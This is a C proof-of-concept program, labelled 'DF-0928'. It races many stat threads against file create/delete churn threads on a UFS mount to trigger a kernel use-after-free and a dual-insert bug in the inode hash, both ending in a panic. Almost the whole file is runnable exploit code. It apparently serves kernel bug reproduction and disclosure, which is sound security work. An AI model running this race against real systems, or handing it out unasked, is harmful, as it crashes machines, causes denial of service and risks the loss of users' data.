/*
 * race_ufs_ihash3.c - DF-0928 PoC (maximum aggression): with 500 pre-created
 * files on a tiny-hash UFS mount (maxvnodes=64 → hash size 64 → ~8 inodes
 * per bucket), race many stat/open threads against churn threads doing
 * create+delete to drive continuous vnode reclaim (ufs_reclaim→ufs_ihashrem
 * →kfree) concurrent with hash walkers (ufs_ihashget/lookup).
 *
 * Race modes exercised:
 *   (A) Dual-insert: hardlinks in separate dirs → concurrent ffs_vget for
 *       same inode → dual ufs_ihashins store → orphan → KKASSERT panic.
 *   (B) Walker-UAF: walker reads i_next from an inode being freed by
 *       concurrent reclaim → poisoned read (INVARIANTS) → panic.
 *
 * Build: cc -O2 -pthread -o race_ufs_ihash3 race_ufs_ihash3.c
 * Run:   ./race_ufs_ihash3 /mnt/ufs_test
 */
#define _GNU_SOURCE
#include <pthread.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/resource.h>
#include <errno.h>
#include <time.h>

static const char *BASE = "/mnt/ufs_test";
static int NRACERS = 16;
static int NCHURNERS = 8;
static int NFLILES = 500;

static volatile int stop = 0;
static pthread_barrier_t bar;
static char hl_paths[64][256];

/* Racer: stat() different files in a tight loop to drive hash walks.
 * Also stat() hardlinks (same inode, different dirs) for dual-insert race. */
static void *
racer(void *a)
{
    int idx = (int)(long)a;
    struct stat st;
    char p[256];
    pthread_barrier_wait(&bar);
    while (!stop) {
        /* stat hardlink (for dual-insert race) */
        if (idx < NRACERS && hl_paths[idx][0])
            stat(hl_paths[idx], &st);
        /* stat random pre-created files (for walker-UAF: walks a bucket
         * that may have inodes being freed by churners) */
        for (int i = 0; i < 50; i++) {
            int n = (idx * 7 + i * 13 + (int)time(NULL)) % NFLILES + 1;
            snprintf(p, sizeof p, "%s/f%d", BASE, n);
            stat(p, &st);
        }
    }
    return NULL;
}

/* Churner: create+delete files to force vnode reclaim → ufs_ihashrem → kfree */
static void *
churner(void *a)
{
    long id = (long)a;
    char p[256];
    pthread_barrier_wait(&bar);
    while (!stop) {
        for (int i = 0; i < 30; i++) {
            snprintf(p, sizeof p, "%s/.c%ld_%d", BASE, id, i);
            int x = open(p, O_CREAT | O_RDWR, 0600);
            if (x >= 0) { write(x, "x", 1); close(x); }
            unlink(p);
        }
    }
    return NULL;
}

int
main(int argc, char **argv)
{
    if (argc > 1) BASE = argv[1];
    int duration = argc > 2 ? atoi(argv[2]) : 180;

    struct rlimit rl;
    rl.rlim_cur = rl.rlim_max = 8192;
    setrlimit(RLIMIT_NOFILE, &rl);

    /* Create target + hardlinks for dual-insert race. */
    char t[256]; snprintf(t, sizeof t, "%s/TARGET", BASE);
    unlink(t);
    int fd = open(t, O_CREAT | O_EXCL | O_WRONLY, 0600);
    if (fd >= 0) { write(fd, "target", 6); close(fd); }
    for (int d = 0; d < NRACERS && d < 64; d++) {
        char dir[256];
        snprintf(dir, sizeof dir, "%s/r%d", BASE, d);
        mkdir(dir, 0700);
        snprintf(hl_paths[d], sizeof hl_paths[0], "%s/r%d/hl", BASE, d);
        unlink(hl_paths[d]);
        link(t, hl_paths[d]);
    }

    printf("DF-0928: %d racers + %d churners, %d files, %ds on %s\n",
           NRACERS, NCHURNERS, NFLILES, duration, BASE);
    fflush(stdout);

    time_t end = time(NULL) + duration;
    pthread_barrier_init(&bar, NULL, NRACERS + NCHURNERS);
    pthread_t th[128];
    int nth = 0;
    for (int i = 0; i < NRACERS; i++)
        pthread_create(&th[nth++], NULL, racer, (void *)(long)i);
    for (long i = 0; i < NCHURNERS; i++)
        pthread_create(&th[nth++], NULL, churner, (void *)i);

    while (time(NULL) < end) {
        sleep(10);
        printf("  %lds left\n", (long)(end - time(NULL)));
        fflush(stdout);
    }
    stop = 1;
    for (int i = 0; i < nth; i++)
        pthread_join(th[i], NULL);

    /* cleanup hardlinks */
    for (int d = 0; d < NRACERS && d < 64; d++) {
        unlink(hl_paths[d]);
        char dir[256]; snprintf(dir, sizeof dir, "%s/r%d", BASE, d);
        rmdir(dir);
    }
    unlink(t);
    printf("DF-0928: completed without panic.\n");
    return 0;
}
